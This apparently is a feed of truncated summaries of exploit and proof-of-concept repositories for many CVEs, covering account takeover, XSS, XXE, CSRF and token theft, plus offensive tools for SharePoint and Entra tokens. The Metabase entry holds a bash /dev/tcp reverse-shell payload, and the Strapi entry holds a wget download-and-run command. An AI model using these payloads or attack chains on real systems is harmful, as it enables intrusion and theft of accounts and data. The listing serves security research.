PT-2026-104646

Name of the Vulnerable Software and Affected Versions Cockpit CMS versions 2.12.0 through 2.14.0 Description The software disables TLS certificate verification during the web worker restart request. This allows a man-in-the-middle attacker on the outbound path to the site url to present any...

xattr-oob-swap

xattr-oob-swap CVE-2020-27904：一个针对 macOS 10.15.x 及以下版本的 tfp0 漏洞。 用于我在 BlackHat ASIA 2021 上演讲的演示利用代码。 该漏洞已在 macOS Big Sur 11.0 以及最新的 10.15&10.14 安全更新中被修复。 质保 自行承担使用风险。这会导致 macOS 内核崩溃。 我仅为安全研究人员构建此工具。 当前状态 获取 tfp0。已在 macOS 10.15.2 19C57 、16 GB 内存的 MacBook Pro 上测试。 请自行修复 kheap。我故意将其留空。 致谢 几乎所有内容都源自...

CVE-2023-7028

CVE-2023-7028: CVE-2023-7028 漏洞利用工具 描述： 该 Python 脚本自动化利用 GitLab 实例上的假设性安全漏洞（CVE-2023-7028）。它有助于对指定的目标电子邮件地址进行密码重置攻击，从而展示潜在的安全风险。该工具支持用于 GitLab URL、目标电子邮件和可选参数的命令行选项，并增强了从文件处理多个 URL 和电子邮件的能力。注意：此脚本仅供教育目的使用，不应用于未经授权或恶意的活动。 功能： 自动在 GitLab 上利用 CVE-2023-7028 漏洞 通过检索 CSRF 令牌进行密码重置攻击 用法： python script.p...

CVE-2025-50433

CVE-2025-50433 — 影响Monnit云平台.imonnit.com的严重账户接管漏洞 摘要 .imonnit.com 存在一个严重的认证漏洞，允许完全账户接管（ATO） 任何用户账户，且无需受害者交互。 后端未能验证密码重置令牌与目标电子邮件之间的关联 ，导致攻击者可以使用自己有效的重置令牌来重置任何受害者账户的密码。 攻击向量（逐步PoC） 1. 攻击者创建账户 A（[email protected]）。 2. 受害者拥有账户 B（[email protected]）。 3. 攻击者为账户 A 和 B 请求密码重置。 4. 攻击者仅收到账户 A...

CSRFBrute

CSRFBrute Herramienta de fuerza bruta de inicio de sesión CSRF - V 0.5.0 Dev Se recomienda usar preferentemente csrfbrute.py, la versión estable simplificada 🚀 Características Actualización dinámica de tokens CSRF - Garantiza precisión en objetivos de alta seguridad Gestión de sesiones segura par...

CVE-2023-38646

CVE-2023-38646 原始脚本来源于securezeron 我在测试过程中发现该poc生成的反向shell在经过base6编码后因为末尾的'='字符导致利用失败。对它稍作修改解决了这个问题。 原始的生成reverse shell负载的代码 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080 0&1".encode.decode 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ==' 修改后的生成reverse shell负载的代码没有‘=’...

CVE-2024-36539

这是为 Contour v1.28.3 中不安全权限漏洞的概念验证 PoC 提供的 README.md： Contour v1.28.3 中不安全权限漏洞的概念验证 PoC 此仓库包含一个概念验证 PoC 脚本，演示了 Contour v1.28.3 中的一个不安全权限漏洞。该漏洞允许攻击者通过获取服务账户的令牌来访问敏感数据并提升权限。 漏洞描述 CVE-ID ：待定 概述 ： Contour v1.28.3 存在不安全权限，允许攻击者访问服务账户的令牌。通过利用此漏洞，攻击者可以获取服务账户的令牌，该令牌可用于访问敏感数据，并可能在 Kubernetes 集群中提升权限。 受影响版本...

CVE-2020-7378

CVE-2020-7378 – OpenCRX 可预测密码重置令牌及XXE漏洞利用 本仓库包含针对 OpenCRX （版本至 5.0-20200717 为止）关键漏洞 CVE-2020-7378 的复合概念验证 PoC 漏洞利用。该漏洞利用串联了应用程序中的两个核心问题： 1. 由于依赖 java.util.Random 导致的可预测密码重置令牌 漏洞，攻击者可基于毫秒时间戳种子生成有效令牌。 2. 位于 RestServlet 端点的盲 XML 外部实体 XXE 漏洞，允许远程读取服务器文件系统中的文件。 这两个缺陷的组合使未认证攻击者能够获取管理员权限并窃取服务器端的敏感文件。 漏洞...

CVE-2019-19609-POC-Python

该脚本将尝试将密码重置为"updatedpass"变量中声明的值；如果成功，它将从Strapi获取一个JWT令牌，并使用该令牌执行命令。 执行绑定命令无效，除非发送反向Shell载荷（使用bash或python等）。你可以生成一个.sh文件，该文件会为你下载nc并执行它，或者任何其他内容，甚至ELF文件。为此，请将payloadexp从&&改为。例如：&& $wget xxxx -O /tmp/oooo; bash /tmp/ooo URL 不再有效。...

askWAM

askWAM askWAM requests Microsoft Entra access tokens silently through Windows Web Account Manager WAM. It ships as a .NET Framework client, a standalone native x64 client, and an x64 Beacon Object File with a CNA command adapter. All frontends can enumerate accounts visible to the client and targ...

CVE-2021-24085

Microsoft Exchange Server msExchEcpCanary 跨站请求伪造特权提升漏洞 这是 CVE-2021-24085 的概念验证。 1. poc.py 下载包含私钥的目标证书文件 2. YellowCanary 根据 SID 为特定用户生成 msExchEcpCanary CSRF 令牌 3. poc.js 是用于触发账户接管漏洞的 CSRF 利用代码 我没有提供 malicifest.xml 文件，但你可以从以下参考资料部分中找到关于如何生成恶意清单文件的信息。 示例 获取包含私钥的证书： researcher@srcincite:$ ./poc.py +...

CVE-2023-31851

CVE-2023-31851 Cudy LT400 的基于 Web 的管理界面存在反射型跨站脚本（XSS）攻击。 页面 /cgi-bin/luci/admin/network/wireless/status 通过 iface 参数存在反射型 XSS。 利用方法涉及向受害者发送包含恶意代码的特制请求。 受影响的应用程序未将 Session Cookie 设置为 HttpOnly 属性；这可能导致通过会话令牌窃取实现管理员接管。 受影响固件版本：1.13.4 - 1.15.18 - 1.15.27 PoC GET...

SnaffPoint

SnaffPoint 它是什么 SnaffPoint 是一款为那些需要在这个世界上获得一些甜蜜的渗透测试人员打造的工具。它可以帮助你发现公司（或客户）的 SharePoint Online 和共享 OneDrive 文件中存在的敏感文件。 它是如何工作的 实际上有 2 个工具： GetBearerToken 将为你对 SharePoint 执行身份验证，带有常规 GUI 并支持 MFA SnaffPoint 仅限 CLI，它将自行执行枚举并找出有趣的文件 GetBearerToken 没什么特别的，按如下方式运行该工具： GetBearerToken.exe...

CVE-2024-50335

CVE-2024-50335：已验证的XSS漏洞在“发布密钥”字段中允许未经授权的管理员用户创建 摘要 SuiteCRM 编辑个人资料页面中的“发布密钥”字段存在反射型跨站脚本（XSS）漏洞，允许攻击者注入恶意 JavaScript 代码。该漏洞可被利用来窃取 CSRF 令牌并执行未经授权的操作，例如在没有适当认证的情况下创建新的管理员用户。 详情 该漏洞源于 SuiteCRM 应用程序对发布密钥字段的输入验证和清理不足。当攻击者注入恶意脚本时，该脚本会在已认证用户的会话上下文中执行。注入的脚本（o.js）随后利用捕获的 CSRF 令牌伪造请求，创建新的管理员用户，从而有效破坏 CRM...

CVE-2025-23040

CVE-2025-23040 - Credential Leak in GitHub Desktop GitHub Desktop 3.4.12 容易受到一种攻击，该攻击允许通过恶意远程URL泄露凭据。攻击者可以说服用户克隆一个被篡改的仓库，从而获取用户名和OAuth令牌。...

CVE-2021-40101

Survey XSS 与 CSRF 结合导致 Concrete5 8.5.4 管理员帐户接管 在版本低于 9 的 Concrete CMS 中，管理员在更改其他用户密码时无需提供自己的密码。 结合 CVE-2021-28145（"Concrete CMS（前身为 concrete5）8.5.5 之前的版本允许远程认证用户通过精心设计的调查区块执行 XSS 攻击。这至少需要编辑者权限"：该修复包含在 8.5.5 版本中），低权限用户（例如开发者或能够创建调查的公共用户）可以插入恶意 JavaScript 代码到 Web 应用程序中。调查结果可由管理员在其 Web 界面（报告调查）中查看。恶...

CVE-2025-492030

CVE-2025-492030 安全公告：CVE-2025-492030 概述 SecureVPN 应用程序中发现了一个严重漏洞，该漏洞可通过一个脆弱的API端点实现账户接管 。此缺陷可能使攻击者能够未经授权访问用户账户，从而可能暴露敏感数据并危及用户隐私。 漏洞详情 CVE ID ：CVE-2025-492030 严重性 ：严重 影响 ：账户接管 受影响组件 ：SecureVPN API 端点 攻击向量 ：远程 技术细节 该漏洞存在于 SecureVPN API 的认证机制中。具体来说： 1. 端点 ：/api/v1/authenticate 2. 问题...

CVE-2024-34327

CVE-2024-34327 SQL注入漏洞检查器 本脚本（V-24-02-001SQLiCheck.py）是一个概念验证（PoC）工具，用于验证 CVE-2024-34327所标识的、影响password-reset-token.php端点的基于时间的盲SQL注入漏洞 。 ⚠️ 免责声明 本工具仅供教育和授权测试目的使用 。未经同意擅自扫描或利用系统是非法且不道德的。 🔍 漏洞详情 CVE ID ：CVE-2024-34327 漏洞标题 ：基于时间的盲SQL注入 产品 ：Sielox AnyWare 受影响版本 ：2.1.2 存在漏洞的端点...

CVE-2026-105119 OpenAM before 16.1.3 PKCE Enforcement Bypass via OAuth 2.0 Hybrid Flows

OpenAM before 16.1.3 applies its OAuth2 Provider PKCE enforcement only to authorization requests whose responsetype is exactly code, so codes issued through OpenID Connect hybrid flows code token, code idtoken, code token idtoken carry no bound challenge. An attacker who intercepts such a code ca...

PT-2026-104579

Name of the Vulnerable Software and Affected Versions OpenAM versions prior to 16.1.3 Description An open redirect issue exists where unauthenticated attackers can redirect users by providing an unverified id token hint to the '/oauth2/connect/endSession' endpoint. By specifying any realm client ...